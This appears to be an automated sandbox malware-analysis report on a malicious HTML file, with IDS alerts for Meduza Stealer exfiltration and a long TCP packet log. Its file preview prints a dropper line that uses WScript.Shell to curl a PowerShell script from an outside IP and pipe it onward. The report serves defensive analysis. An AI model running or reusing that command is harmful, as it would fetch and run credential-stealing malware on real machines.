SSDEEP:	12:xgkEqJmuGWEqr0lFH7YYF+8XIYAHpcAowMWr93ZO6lpsMCL8Gb:xne2s10YfwMWHJCMC7
TLSH:	75F0DC6A0C99D60C40BB662999A6A22CDB5322471301CA53718CD2022F31104C942FDC
File Content Preview:	..<html>..<head>.. <script type="text/javascript">.. (function Execute() {.. try {.. var shell = new ActiveXObject("WScript.Shell");.... var command = "cmd.exe /c curl -s http://147.45.47.15/script.ps1 \|

Network Behavior

Suricata IDS Alerts

Timestamp	SID	Signature	Severity	Source IP	Source Port	Dest IP	Dest Port	Protocol
2024-12-19T08:11:41.306717+0100	2803274	ETPRO MALWARE Common Downloader Header Pattern UH	2	192.168.2.4	49734	147.45.47.15	80	TCP
2024-12-19T08:11:59.129786+0100	2049441	ET MALWARE Win32/Unknown Grabber Base64 Data Exfiltration Attempt	1	192.168.2.4	49740	193.3.19.151	15666	TCP
2024-12-19T08:11:59.129786+0100	2050806	ET MALWARE [ANY.RUN] Meduza Stealer Exfiltration M2	1	192.168.2.4	49740	193.3.19.151	15666	TCP
2024-12-19T08:11:59.129786+0100	2050807	ET MALWARE [ANY.RUN] Possible Meduza Stealer Exfiltration (TCP)	1	192.168.2.4	49740	193.3.19.151	15666	TCP
2024-12-19T08:11:59.249727+0100	2050806	ET MALWARE [ANY.RUN] Meduza Stealer Exfiltration M2	1	192.168.2.4	49740	193.3.19.151	15666	TCP
2024-12-19T08:11:59.249727+0100	2050807	ET MALWARE [ANY.RUN] Possible Meduza Stealer Exfiltration (TCP)	1	192.168.2.4	49740	193.3.19.151	15666	TCP

Network Port Distribution

TCP Packets

Timestamp	Source Port	Dest Port	Source IP	Dest IP
Dec 19, 2024 08:11:37.415360928 CET	49731	80	192.168.2.4	147.45.47.15
Dec 19, 2024 08:11:37.534990072 CET	80	49731	147.45.47.15	192.168.2.4
Dec 19, 2024 08:11:37.535079002 CET	49731	80	192.168.2.4	147.45.47.15
Dec 19, 2024 08:11:37.535695076 CET	49731	80	192.168.2.4	147.45.47.15
Dec 19, 2024 08:11:37.655147076 CET	80	49731	147.45.47.15	192.168.2.4
Dec 19, 2024 08:11:38.793356895 CET	80	49731	147.45.47.15	192.168.2.4
Dec 19, 2024 08:11:38.801666975 CET	49731	80	192.168.2.4	147.45.47.15
Dec 19, 2024 08:11:38.921765089 CET	80	49731	147.45.47.15	192.168.2.4
Dec 19, 2024 08:11:38.921837091 CET	49731	80	192.168.2.4	147.45.47.15
Dec 19, 2024 08:11:39.459069014 CET	49734	80	192.168.2.4	147.45.47.15
Dec 19, 2024 08:11:39.578850985 CET	80	49734	147.45.47.15	192.168.2.4
Dec 19, 2024 08:11:39.578936100 CET	49734	80	192.168.2.4	147.45.47.15
Dec 19, 2024 08:11:39.580110073 CET	49734	80	192.168.2.4	147.45.47.15
Dec 19, 2024 08:11:39.699542046 CET	80	49734	147.45.47.15	192.168.2.4
Dec 19, 2024 08:11:40.838850975 CET	80	49734	147.45.47.15	192.168.2.4
Dec 19, 2024 08:11:40.838890076 CET	80	49734	147.45.47.15	192.168.2.4
Dec 19, 2024 08:11:40.838902950 CET	80	49734	147.45.47.15	192.168.2.4
Dec 19, 2024 08:11:40.838943958 CET	80	49734	147.45.47.15	192.168.2.4
Dec 19, 2024 08:11:40.838984013 CET	49734	80	192.168.2.4	147.45.47.15
Dec 19, 2024 08:11:40.839004993 CET	80	49734	147.45.47.15	192.168.2.4
Dec 19, 2024 08:11:40.839020014 CET	80	49734	147.45.47.15	192.168.2.4
Dec 19, 2024 08:11:40.839035988 CET	49734	80	192.168.2.4	147.45.47.15
Dec 19, 2024 08:11:40.839065075 CET	49734	80	192.168.2.4	147.45.47.15
Dec 19, 2024 08:11:40.905538082 CET	49734	80	192.168.2.4	147.45.47.15
Dec 19, 2024 08:11:41.025100946 CET	80	49734	147.45.47.15	192.168.2.4
Dec 19, 2024 08:11:41.306653976 CET	80	49734	147.45.47.15	192.168.2.4
Dec 19, 2024 08:11:41.306673050 CET	80	49734	147.45.47.15	192.168.2.4
Dec 19, 2024 08:11:41.306684017 CET	80	49734	147.45.47.15	192.168.2.4
Dec 19, 2024 08:11:41.306716919 CET	49734	80	192.168.2.4	147.45.47.15
Dec 19, 2024 08:11:41.306822062 CET	80	49734	147.45.47.15	192.168.2.4
Dec 19, 2024 08:11:41.306833029 CET	80	49734	147.45.47.15	192.168.2.4
Dec 19, 2024 08:11:41.306864023 CET	49734	80	192.168.2.4	147.45.47.15
Dec 19, 2024 08:11:41.315134048 CET	80	49734	147.45.47.15	192.168.2.4
Dec 19, 2024 08:11:41.315148115 CET	80	49734	147.45.47.15	192.168.2.4
Dec 19, 2024 08:11:41.315179110 CET	49734	80	192.168.2.4	147.45.47.15
Dec 19, 2024 08:11:41.323486090 CET	80	49734	147.45.47.15	192.168.2.4
Dec 19, 2024 08:11:41.323537111 CET	49734	80	192.168.2.4	147.45.47.15
Dec 19, 2024 08:11:41.323607922 CET	80	49734	147.45.47.15	192.168.2.4
Dec 19, 2024 08:11:41.331876993 CET	80	49734	147.45.47.15	192.168.2.4
Dec 19, 2024 08:11:41.331918955 CET	49734	80	192.168.2.4	147.45.47.15
Dec 19, 2024 08:11:41.331971884 CET	80	49734	147.45.47.15	192.168.2.4
Dec 19, 2024 08:11:41.340157032 CET	80	49734	147.45.47.15	192.168.2.4
Dec 19, 2024 08:11:41.340205908 CET	49734	80	192.168.2.4	147.45.47.15
Dec 19, 2024 08:11:41.396259069 CET	80	49734	147.45.47.15	192.168.2.4
Dec 19, 2024 08:11:41.396271944 CET	80	49734	147.45.47.15	192.168.2.4
Dec 19, 2024 08:11:41.396379948 CET	49734	80	192.168.2.4	147.45.47.15
Dec 19, 2024 08:11:41.400188923 CET	80	49734	147.45.47.15	192.168.2.4
Dec 19, 2024 08:11:41.400271893 CET	80	49734	147.45.47.15	192.168.2.4
Dec 19, 2024 08:11:41.400315046 CET	49734	80	192.168.2.4	147.45.47.15
Dec 19, 2024 08:11:41.426255941 CET	80	49734	147.45.47.15	192.168.2.4
Dec 19, 2024 08:11:41.426395893 CET	80	49734	147.45.47.15	192.168.2.4
Dec 19, 2024 08:11:41.426439047 CET	49734	80	192.168.2.4	147.45.47.15
Dec 19, 2024 08:11:41.498626947 CET	80	49734	147.45.47.15	192.168.2.4
Dec 19, 2024 08:11:41.498698950 CET	80	49734	147.45.47.15	192.168.2.4
Dec 19, 2024 08:11:41.498756886 CET	49734	80	192.168.2.4	147.45.47.15
Dec 19, 2024 08:11:41.503035069 CET	80	49734	147.45.47.15	192.168.2.4
Dec 19, 2024 08:11:41.503245115 CET	80	49734	147.45.47.15	192.168.2.4
Dec 19, 2024 08:11:41.503288031 CET	49734	80	192.168.2.4	147.45.47.15
Dec 19, 2024 08:11:41.511729002 CET	80	49734	147.45.47.15	192.168.2.4
Dec 19, 2024 08:11:41.516417027 CET	80	49734	147.45.47.15	192.168.2.4
Dec 19, 2024 08:11:41.516480923 CET	49734	80	192.168.2.4	147.45.47.15
Dec 19, 2024 08:11:41.517798901 CET	80	49734	147.45.47.15	192.168.2.4
Dec 19, 2024 08:11:41.523570061 CET	80	49734	147.45.47.15	192.168.2.4
Dec 19, 2024 08:11:41.523622036 CET	49734	80	192.168.2.4	147.45.47.15
Dec 19, 2024 08:11:41.523761988 CET	80	49734	147.45.47.15	192.168.2.4
Dec 19, 2024 08:11:41.531217098 CET	80	49734	147.45.47.15	192.168.2.4
Dec 19, 2024 08:11:41.531414032 CET	49734	80	192.168.2.4	147.45.47.15
Dec 19, 2024 08:11:41.531507015 CET	80	49734	147.45.47.15	192.168.2.4
Dec 19, 2024 08:11:41.539356947 CET	80	49734	147.45.47.15	192.168.2.4
Dec 19, 2024 08:11:41.539417028 CET	49734	80	192.168.2.4	147.45.47.15
Dec 19, 2024 08:11:41.539473057 CET	80	49734	147.45.47.15	192.168.2.4
Dec 19, 2024 08:11:41.547791958 CET	80	49734	147.45.47.15	192.168.2.4
Dec 19, 2024 08:11:41.547902107 CET	80	49734	147.45.47.15	192.168.2.4
Dec 19, 2024 08:11:41.547945976 CET	49734	80	192.168.2.4	147.45.47.15
Dec 19, 2024 08:11:41.556297064 CET	80	49734	147.45.47.15	192.168.2.4
Dec 19, 2024 08:11:41.556312084 CET	80	49734	147.45.47.15	192.168.2.4
Dec 19, 2024 08:11:41.556354046 CET	49734	80	192.168.2.4	147.45.47.15
Dec 19, 2024 08:11:41.564572096 CET	80	49734	147.45.47.15	192.168.2.4
Dec 19, 2024 08:11:41.564646006 CET	49734	80	192.168.2.4	147.45.47.15
Dec 19, 2024 08:11:41.564661980 CET	80	49734	147.45.47.15	192.168.2.4
Dec 19, 2024 08:11:41.570074081 CET	80	49734	147.45.47.15	192.168.2.4
Dec 19, 2024 08:11:41.570086002 CET	80	49734	147.45.47.15	192.168.2.4
Dec 19, 2024 08:11:41.570131063 CET	49734	80	192.168.2.4	147.45.47.15
Dec 19, 2024 08:11:41.574927092 CET	80	49734	147.45.47.15	192.168.2.4
Dec 19, 2024 08:11:41.574984074 CET	49734	80	192.168.2.4	147.45.47.15
Dec 19, 2024 08:11:41.576637983 CET	80	49734	147.45.47.15	192.168.2.4
Dec 19, 2024 08:11:41.588443041 CET	80	49734	147.45.47.15	192.168.2.4
Dec 19, 2024 08:11:41.588454962 CET	80	49734	147.45.47.15	192.168.2.4
Dec 19, 2024 08:11:41.588603973 CET	49734	80	192.168.2.4	147.45.47.15
Dec 19, 2024 08:11:41.590728998 CET	80	49734	147.45.47.15	192.168.2.4
Dec 19, 2024 08:11:41.590783119 CET	49734	80	192.168.2.4	147.45.47.15
Dec 19, 2024 08:11:41.590802908 CET	80	49734	147.45.47.15	192.168.2.4
Dec 19, 2024 08:11:41.596081018 CET	80	49734	147.45.47.15	192.168.2.4
Dec 19, 2024 08:11:41.596092939 CET	80	49734	147.45.47.15	192.168.2.4
Dec 19, 2024 08:11:41.596132994 CET	49734	80	192.168.2.4	147.45.47.15
Dec 19, 2024 08:11:41.601255894 CET	80	49734	147.45.47.15	192.168.2.4
Dec 19, 2024 08:11:41.601305962 CET	49734	80	192.168.2.4	147.45.47.15
Dec 19, 2024 08:11:41.601345062 CET	80	49734	147.45.47.15	192.168.2.4
Dec 19, 2024 08:11:41.606455088 CET	80	49734	147.45.47.15	192.168.2.4
Dec 19, 2024 08:11:41.606494904 CET	49734	80	192.168.2.4	147.45.47.15
Dec 19, 2024 08:11:41.606507063 CET	80	49734	147.45.47.15	192.168.2.4
Dec 19, 2024 08:11:41.618335962 CET	80	49734	147.45.47.15	192.168.2.4
Dec 19, 2024 08:11:41.618379116 CET	80	49734	147.45.47.15	192.168.2.4
Dec 19, 2024 08:11:41.618521929 CET	49734	80	192.168.2.4	147.45.47.15
Dec 19, 2024 08:11:41.694422007 CET	80	49734	147.45.47.15	192.168.2.4
Dec 19, 2024 08:11:41.694526911 CET	80	49734	147.45.47.15	192.168.2.4
Dec 19, 2024 08:11:41.694628954 CET	49734	80	192.168.2.4	147.45.47.15
Dec 19, 2024 08:11:41.696923018 CET	80	49734	147.45.47.15	192.168.2.4
Dec 19, 2024 08:11:41.696970940 CET	80	49734	147.45.47.15	192.168.2.4
Dec 19, 2024 08:11:41.697012901 CET	49734	80	192.168.2.4	147.45.47.15
Dec 19, 2024 08:11:41.701924086 CET	80	49734	147.45.47.15	192.168.2.4
Dec 19, 2024 08:11:41.701936007 CET	80	49734	147.45.47.15	192.168.2.4
Dec 19, 2024 08:11:41.701968908 CET	49734	80	192.168.2.4	147.45.47.15
Dec 19, 2024 08:11:41.706770897 CET	80	49734	147.45.47.15	192.168.2.4
Dec 19, 2024 08:11:41.706783056 CET	80	49734	147.45.47.15	192.168.2.4
Dec 19, 2024 08:11:41.706826925 CET	49734	80	192.168.2.4	147.45.47.15
Dec 19, 2024 08:11:41.711352110 CET	80	49734	147.45.47.15	192.168.2.4
Dec 19, 2024 08:11:41.711530924 CET	80	49734	147.45.47.15	192.168.2.4
Dec 19, 2024 08:11:41.711580992 CET	49734	80	192.168.2.4	147.45.47.15
Dec 19, 2024 08:11:41.716082096 CET	80	49734	147.45.47.15	192.168.2.4
Dec 19, 2024 08:11:41.716247082 CET	80	49734	147.45.47.15	192.168.2.4
Dec 19, 2024 08:11:41.716288090 CET	49734	80	192.168.2.4	147.45.47.15
Dec 19, 2024 08:11:41.720959902 CET	80	49734	147.45.47.15	192.168.2.4
Dec 19, 2024 08:11:41.721317053 CET	80	49734	147.45.47.15	192.168.2.4
Dec 19, 2024 08:11:41.721365929 CET	49734	80	192.168.2.4	147.45.47.15
Dec 19, 2024 08:11:41.725368023 CET	80	49734	147.45.47.15	192.168.2.4
Dec 19, 2024 08:11:41.725514889 CET	80	49734	147.45.47.15	192.168.2.4
Dec 19, 2024 08:11:41.725560904 CET	49734	80	192.168.2.4	147.45.47.15
Dec 19, 2024 08:11:41.729370117 CET	80	49734	147.45.47.15	192.168.2.4
Dec 19, 2024 08:11:41.729463100 CET	80	49734	147.45.47.15	192.168.2.4
Dec 19, 2024 08:11:41.729511023 CET	49734	80	192.168.2.4	147.45.47.15
Dec 19, 2024 08:11:41.733573914 CET	80	49734	147.45.47.15	192.168.2.4
Dec 19, 2024 08:11:41.733587027 CET	80	49734	147.45.47.15	192.168.2.4
Dec 19, 2024 08:11:41.733623981 CET	49734	80	192.168.2.4	147.45.47.15
Dec 19, 2024 08:11:41.737584114 CET	80	49734	147.45.47.15	192.168.2.4
Dec 19, 2024 08:11:41.737653971 CET	80	49734	147.45.47.15	192.168.2.4
Dec 19, 2024 08:11:41.737694025 CET	49734	80	192.168.2.4	147.45.47.15
Dec 19, 2024 08:11:41.741475105 CET	80	49734	147.45.47.15	192.168.2.4
Dec 19, 2024 08:11:41.741561890 CET	80	49734	147.45.47.15	192.168.2.4
Dec 19, 2024 08:11:41.741604090 CET	49734	80	192.168.2.4	147.45.47.15
Dec 19, 2024 08:11:41.745573997 CET	80	49734	147.45.47.15	192.168.2.4
Dec 19, 2024 08:11:41.745619059 CET	80	49734	147.45.47.15	192.168.2.4
Dec 19, 2024 08:11:41.745681047 CET	49734	80	192.168.2.4	147.45.47.15
Dec 19, 2024 08:11:41.749758959 CET	80	49734	147.45.47.15	192.168.2.4
Dec 19, 2024 08:11:41.749852896 CET	80	49734	147.45.47.15	192.168.2.4
Dec 19, 2024 08:11:41.749895096 CET	49734	80	192.168.2.4	147.45.47.15
Dec 19, 2024 08:11:41.751847982 CET	80	49734	147.45.47.15	192.168.2.4
Dec 19, 2024 08:11:41.752007008 CET	80	49734	147.45.47.15	192.168.2.4
Dec 19, 2024 08:11:41.752057076 CET	49734	80	192.168.2.4	147.45.47.15
Dec 19, 2024 08:11:41.754410028 CET	80	49734	147.45.47.15	192.168.2.4
Dec 19, 2024 08:11:41.754549980 CET	80	49734	147.45.47.15	192.168.2.4
Dec 19, 2024 08:11:41.754594088 CET	49734	80	192.168.2.4	147.45.47.15
Dec 19, 2024 08:11:41.757309914 CET	80	49734	147.45.47.15	192.168.2.4
Dec 19, 2024 08:11:41.757322073 CET	80	49734	147.45.47.15	192.168.2.4
Dec 19, 2024 08:11:41.757369995 CET	49734	80	192.168.2.4	147.45.47.15
Dec 19, 2024 08:11:41.759536028 CET	80	49734	147.45.47.15	192.168.2.4
Dec 19, 2024 08:11:41.759635925 CET	80	49734	147.45.47.15	192.168.2.4
Dec 19, 2024 08:11:41.759677887 CET	49734	80	192.168.2.4	147.45.47.15
Dec 19, 2024 08:11:41.762140036 CET	80	49734	147.45.47.15	192.168.2.4
Dec 19, 2024 08:11:41.762428045 CET	80	49734	147.45.47.15	192.168.2.4
Dec 19, 2024 08:11:41.762476921 CET	49734	80	192.168.2.4	147.45.47.15
Dec 19, 2024 08:11:41.764625072 CET	80	49734	147.45.47.15	192.168.2.4
Dec 19, 2024 08:11:41.764807940 CET	80	49734	147.45.47.15	192.168.2.4
Dec 19, 2024 08:11:41.764856100 CET	49734	80	192.168.2.4	147.45.47.15
Dec 19, 2024 08:11:41.767060995 CET	80	49734	147.45.47.15	192.168.2.4
Dec 19, 2024 08:11:41.814172983 CET	80	49734	147.45.47.15	192.168.2.4
Dec 19, 2024 08:11:41.814248085 CET	49734	80	192.168.2.4	147.45.47.15
Dec 19, 2024 08:11:41.814352036 CET	80	49734	147.45.47.15	192.168.2.4
Dec 19, 2024 08:11:41.815426111 CET	80	49734	147.45.47.15	192.168.2.4
Dec 19, 2024 08:11:41.815478086 CET	49734	80	192.168.2.4	147.45.47.15
Dec 19, 2024 08:11:41.815864086 CET	80	49734	147.45.47.15	192.168.2.4
Dec 19, 2024 08:11:41.816059113 CET	80	49734	147.45.47.15	192.168.2.4
Dec 19, 2024 08:11:41.816102982 CET	49734	80	192.168.2.4	147.45.47.15
Dec 19, 2024 08:11:41.818478107 CET	80	49734	147.45.47.15	192.168.2.4
Dec 19, 2024 08:11:41.818574905 CET	80	49734	147.45.47.15	192.168.2.4
Dec 19, 2024 08:11:41.818619013 CET	49734	80	192.168.2.4	147.45.47.15
Dec 19, 2024 08:11:41.821377039 CET	80	49734	147.45.47.15	192.168.2.4
Dec 19, 2024 08:11:41.821388960 CET	80	49734	147.45.47.15	192.168.2.4
Dec 19, 2024 08:11:41.821425915 CET	49734	80	192.168.2.4	147.45.47.15
Dec 19, 2024 08:11:41.823539972 CET	80	49734	147.45.47.15	192.168.2.4
Dec 19, 2024 08:11:41.824412107 CET	80	49734	147.45.47.15	192.168.2.4
Dec 19, 2024 08:11:41.824455023 CET	49734	80	192.168.2.4	147.45.47.15
Dec 19, 2024 08:11:41.826062918 CET	80	49734	147.45.47.15	192.168.2.4
Dec 19, 2024 08:11:41.826280117 CET	80	49734	147.45.47.15	192.168.2.4
Dec 19, 2024 08:11:41.826328993 CET	49734	80	192.168.2.4	147.45.47.15
Dec 19, 2024 08:11:41.882615089 CET	80	49734	147.45.47.15	192.168.2.4
Dec 19, 2024 08:11:41.882630110 CET	80	49734	147.45.47.15	192.168.2.4
Dec 19, 2024 08:11:41.882689953 CET	49734	80	192.168.2.4	147.45.47.15
Dec 19, 2024 08:11:41.883308887 CET	80	49734	147.45.47.15	192.168.2.4
Dec 19, 2024 08:11:41.883470058 CET	80	49734	147.45.47.15	192.168.2.4
Dec 19, 2024 08:11:41.883513927 CET	49734	80	192.168.2.4	147.45.47.15
Dec 19, 2024 08:11:41.885989904 CET	80	49734	147.45.47.15	192.168.2.4
Dec 19, 2024 08:11:41.886002064 CET	80	49734	147.45.47.15	192.168.2.4
Dec 19, 2024 08:11:41.886044979 CET	49734	80	192.168.2.4	147.45.47.15
Dec 19, 2024 08:11:41.888390064 CET	80	49734	147.45.47.15	192.168.2.4
Dec 19, 2024 08:11:41.888483047 CET	80	49734	147.45.47.15	192.168.2.4
Dec 19, 2024 08:11:41.888523102 CET	49734	80	192.168.2.4	147.45.47.15
Dec 19, 2024 08:11:41.890994072 CET	80	49734	147.45.47.15	192.168.2.4
Dec 19, 2024 08:11:41.891100883 CET	80	49734	147.45.47.15	192.168.2.4
Dec 19, 2024 08:11:41.891149044 CET	49734	80	192.168.2.4	147.45.47.15
Dec 19, 2024 08:11:41.893593073 CET	80	49734	147.45.47.15	192.168.2.4
Dec 19, 2024 08:11:41.893863916 CET	80	49734	147.45.47.15	192.168.2.4
Dec 19, 2024 08:11:41.893924952 CET	49734	80	192.168.2.4	147.45.47.15
Dec 19, 2024 08:11:41.896058083 CET	80	49734	147.45.47.15	192.168.2.4
Dec 19, 2024 08:11:41.896135092 CET	80	49734	147.45.47.15	192.168.2.4
Dec 19, 2024 08:11:41.896178961 CET	49734	80	192.168.2.4	147.45.47.15
Dec 19, 2024 08:11:41.898591995 CET	80	49734	147.45.47.15	192.168.2.4
Dec 19, 2024 08:11:41.898659945 CET	80	49734	147.45.47.15	192.168.2.4
Dec 19, 2024 08:11:41.898699999 CET	49734	80	192.168.2.4	147.45.47.15
Dec 19, 2024 08:11:41.901108027 CET	80	49734	147.45.47.15	192.168.2.4
Dec 19, 2024 08:11:41.901159048 CET	80	49734	147.45.47.15	192.168.2.4
Dec 19, 2024 08:11:41.901201963 CET	49734	80	192.168.2.4	147.45.47.15
Dec 19, 2024 08:11:41.903661013 CET	80	49734	147.45.47.15	192.168.2.4
Dec 19, 2024 08:11:41.903732061 CET	80	49734	147.45.47.15	192.168.2.4
Dec 19, 2024 08:11:41.903778076 CET	49734	80	192.168.2.4	147.45.47.15
Dec 19, 2024 08:11:41.906244040 CET	80	49734	147.45.47.15	192.168.2.4
Dec 19, 2024 08:11:41.906291962 CET	80	49734	147.45.47.15	192.168.2.4
Dec 19, 2024 08:11:41.906339884 CET	49734	80	192.168.2.4	147.45.47.15
Dec 19, 2024 08:11:41.908690929 CET	80	49734	147.45.47.15	192.168.2.4
Dec 19, 2024 08:11:41.908865929 CET	80	49734	147.45.47.15	192.168.2.4
Dec 19, 2024 08:11:41.908909082 CET	49734	80	192.168.2.4	147.45.47.15
Dec 19, 2024 08:11:41.913115978 CET	80	49734	147.45.47.15	192.168.2.4
Dec 19, 2024 08:11:41.913129091 CET	80	49734	147.45.47.15	192.168.2.4
Dec 19, 2024 08:11:41.913167953 CET	49734	80	192.168.2.4	147.45.47.15
Dec 19, 2024 08:11:41.914133072 CET	80	49734	147.45.47.15	192.168.2.4
Dec 19, 2024 08:11:41.914151907 CET	80	49734	147.45.47.15	192.168.2.4
Dec 19, 2024 08:11:41.914197922 CET	49734	80	192.168.2.4	147.45.47.15
Dec 19, 2024 08:11:41.916424990 CET	80	49734	147.45.47.15	192.168.2.4
Dec 19, 2024 08:11:41.916436911 CET	80	49734	147.45.47.15	192.168.2.4
Dec 19, 2024 08:11:41.916479111 CET	49734	80	192.168.2.4	147.45.47.15
Dec 19, 2024 08:11:41.918967962 CET	80	49734	147.45.47.15	192.168.2.4
Dec 19, 2024 08:11:41.919166088 CET	80	49734	147.45.47.15	192.168.2.4
Dec 19, 2024 08:11:41.919317007 CET	49734	80	192.168.2.4	147.45.47.15
Dec 19, 2024 08:11:41.921519041 CET	80	49734	147.45.47.15	192.168.2.4
Dec 19, 2024 08:11:41.921540976 CET	80	49734	147.45.47.15	192.168.2.4
Dec 19, 2024 08:11:41.921580076 CET	49734	80	192.168.2.4	147.45.47.15
Dec 19, 2024 08:11:41.924071074 CET	80	49734	147.45.47.15	192.168.2.4
Dec 19, 2024 08:11:41.924225092 CET	80	49734	147.45.47.15	192.168.2.4
Dec 19, 2024 08:11:41.924263954 CET	49734	80	192.168.2.4	147.45.47.15
Dec 19, 2024 08:11:41.926974058 CET	80	49734	147.45.47.15	192.168.2.4
Dec 19, 2024 08:11:41.927048922 CET	80	49734	147.45.47.15	192.168.2.4
Dec 19, 2024 08:11:41.927089930 CET	49734	80	192.168.2.4	147.45.47.15
Dec 19, 2024 08:11:41.929083109 CET	80	49734	147.45.47.15	192.168.2.4
Dec 19, 2024 08:11:41.929270983 CET	80	49734	147.45.47.15	192.168.2.4
Dec 19, 2024 08:11:41.929317951 CET	49734	80	192.168.2.4	147.45.47.15
Dec 19, 2024 08:11:41.931678057 CET	80	49734	147.45.47.15	192.168.2.4
Dec 19, 2024 08:11:41.931734085 CET	80	49734	147.45.47.15	192.168.2.4
Dec 19, 2024 08:11:41.931780100 CET	49734	80	192.168.2.4	147.45.47.15
Dec 19, 2024 08:11:41.934145927 CET	80	49734	147.45.47.15	192.168.2.4
Dec 19, 2024 08:11:41.934328079 CET	80	49734	147.45.47.15	192.168.2.4
Dec 19, 2024 08:11:41.934367895 CET	49734	80	192.168.2.4	147.45.47.15
Dec 19, 2024 08:11:41.936719894 CET	80	49734	147.45.47.15	192.168.2.4
Dec 19, 2024 08:11:41.936899900 CET	80	49734	147.45.47.15	192.168.2.4
Dec 19, 2024 08:11:41.936947107 CET	49734	80	192.168.2.4	147.45.47.15
Dec 19, 2024 08:11:41.939407110 CET	80	49734	147.45.47.15	192.168.2.4
Dec 19, 2024 08:11:41.939462900 CET	80	49734	147.45.47.15	192.168.2.4
Dec 19, 2024 08:11:41.939502954 CET	49734	80	192.168.2.4	147.45.47.15
Dec 19, 2024 08:11:41.941446066 CET	80	49734	147.45.47.15	192.168.2.4
Dec 19, 2024 08:11:41.941464901 CET	80	49734	147.45.47.15	192.168.2.4
Dec 19, 2024 08:11:41.941512108 CET	49734	80	192.168.2.4	147.45.47.15
Dec 19, 2024 08:11:41.943384886 CET	80	49734	147.45.47.15	192.168.2.4
Dec 19, 2024 08:11:41.943404913 CET	80	49734	147.45.47.15	192.168.2.4
Dec 19, 2024 08:11:41.943449974 CET	49734	80	192.168.2.4	147.45.47.15
Dec 19, 2024 08:11:41.945233107 CET	80	49734	147.45.47.15	192.168.2.4
Dec 19, 2024 08:11:41.945285082 CET	80	49734	147.45.47.15	192.168.2.4
Dec 19, 2024 08:11:41.945333958 CET	49734	80	192.168.2.4	147.45.47.15
Dec 19, 2024 08:11:41.947058916 CET	80	49734	147.45.47.15	192.168.2.4
Dec 19, 2024 08:11:41.947246075 CET	80	49734	147.45.47.15	192.168.2.4
Dec 19, 2024 08:11:41.947290897 CET	49734	80	192.168.2.4	147.45.47.15
Dec 19, 2024 08:11:41.948998928 CET	80	49734	147.45.47.15	192.168.2.4
Dec 19, 2024 08:11:41.949012041 CET	80	49734	147.45.47.15	192.168.2.4
Dec 19, 2024 08:11:41.949052095 CET	49734	80	192.168.2.4	147.45.47.15
Dec 19, 2024 08:11:41.950655937 CET	80	49734	147.45.47.15	192.168.2.4
Dec 19, 2024 08:11:41.950762033 CET	80	49734	147.45.47.15	192.168.2.4
Dec 19, 2024 08:11:41.950808048 CET	49734	80	192.168.2.4	147.45.47.15
Dec 19, 2024 08:11:41.952900887 CET	80	49734	147.45.47.15	192.168.2.4
Dec 19, 2024 08:11:41.952913046 CET	80	49734	147.45.47.15	192.168.2.4
Dec 19, 2024 08:11:41.952955008 CET	49734	80	192.168.2.4	147.45.47.15
Dec 19, 2024 08:11:41.955143929 CET	80	49734	147.45.47.15	192.168.2.4
Dec 19, 2024 08:11:41.955156088 CET	80	49734	147.45.47.15	192.168.2.4
Dec 19, 2024 08:11:41.955209970 CET	49734	80	192.168.2.4	147.45.47.15
Dec 19, 2024 08:11:41.956351042 CET	80	49734	147.45.47.15	192.168.2.4
Dec 19, 2024 08:11:41.956542015 CET	80	49734	147.45.47.15	192.168.2.4
Dec 19, 2024 08:11:41.956587076 CET	49734	80	192.168.2.4	147.45.47.15
Dec 19, 2024 08:11:42.158627033 CET	49734	80	192.168.2.4	147.45.47.15
Dec 19, 2024 08:11:48.186959028 CET	49738	80	192.168.2.4	147.45.47.15
Dec 19, 2024 08:11:48.306548119 CET	80	49738	147.45.47.15	192.168.2.4
Dec 19, 2024 08:11:48.306633949 CET	49738	80	192.168.2.4	147.45.47.15
Dec 19, 2024 08:11:48.307334900 CET	49738	80	192.168.2.4	147.45.47.15
Dec 19, 2024 08:11:48.428348064 CET	80	49738	147.45.47.15	192.168.2.4
Dec 19, 2024 08:11:49.573472023 CET	80	49738	147.45.47.15	192.168.2.4
Dec 19, 2024 08:11:49.573534966 CET	80	49738	147.45.47.15	192.168.2.4
Dec 19, 2024 08:11:49.573571920 CET	80	49738	147.45.47.15	192.168.2.4
Dec 19, 2024 08:11:49.573637962 CET	49738	80	192.168.2.4	147.45.47.15
Dec 19, 2024 08:11:49.573688984 CET	80	49738	147.45.47.15	192.168.2.4
Dec 19, 2024 08:11:49.573726892 CET	80	49738	147.45.47.15	192.168.2.4
Dec 19, 2024 08:11:49.573746920 CET	49738	80	192.168.2.4	147.45.47.15
Dec 19, 2024 08:11:49.573767900 CET	80	49738	147.45.47.15	192.168.2.4
Dec 19, 2024 08:11:49.573803902 CET	80	49738	147.45.47.15	192.168.2.4
Dec 19, 2024 08:11:49.573844910 CET	80	49738	147.45.47.15	192.168.2.4
Dec 19, 2024 08:11:49.573860884 CET	49738	80	192.168.2.4	147.45.47.15
Dec 19, 2024 08:11:49.573899984 CET	49738	80	192.168.2.4	147.45.47.15
Dec 19, 2024 08:11:49.574033976 CET	80	49738	147.45.47.15	192.168.2.4
Dec 19, 2024 08:11:49.574049950 CET	80	49738	147.45.47.15	192.168.2.4
Dec 19, 2024 08:11:49.575548887 CET	49738	80	192.168.2.4	147.45.47.15
Dec 19, 2024 08:11:49.693814993 CET	80	49738	147.45.47.15	192.168.2.4
Dec 19, 2024 08:11:49.693854094 CET	80	49738	147.45.47.15	192.168.2.4
Dec 19, 2024 08:11:49.693928957 CET	49738	80	192.168.2.4	147.45.47.15
Dec 19, 2024 08:11:49.765598059 CET	80	49738	147.45.47.15	192.168.2.4
Dec 19, 2024 08:11:49.765618086 CET	80	49738	147.45.47.15	192.168.2.4
Dec 19, 2024 08:11:49.765671015 CET	49738	80	192.168.2.4	147.45.47.15
Dec 19, 2024 08:11:49.769773960 CET	80	49738	147.45.47.15	192.168.2.4
Dec 19, 2024 08:11:49.769880056 CET	80	49738	147.45.47.15	192.168.2.4
Dec 19, 2024 08:11:49.769942999 CET	49738	80	192.168.2.4	147.45.47.15
Dec 19, 2024 08:11:49.778192043 CET	80	49738	147.45.47.15	192.168.2.4
Dec 19, 2024 08:11:49.778532982 CET	80	49738	147.45.47.15	192.168.2.4
Dec 19, 2024 08:11:49.778651953 CET	49738	80	192.168.2.4	147.45.47.15
Dec 19, 2024 08:11:49.786561966 CET	80	49738	147.45.47.15	192.168.2.4
Dec 19, 2024 08:11:49.786607981 CET	80	49738	147.45.47.15	192.168.2.4
Dec 19, 2024 08:11:49.786725998 CET	49738	80	192.168.2.4	147.45.47.15
Dec 19, 2024 08:11:49.794920921 CET	80	49738	147.45.47.15	192.168.2.4
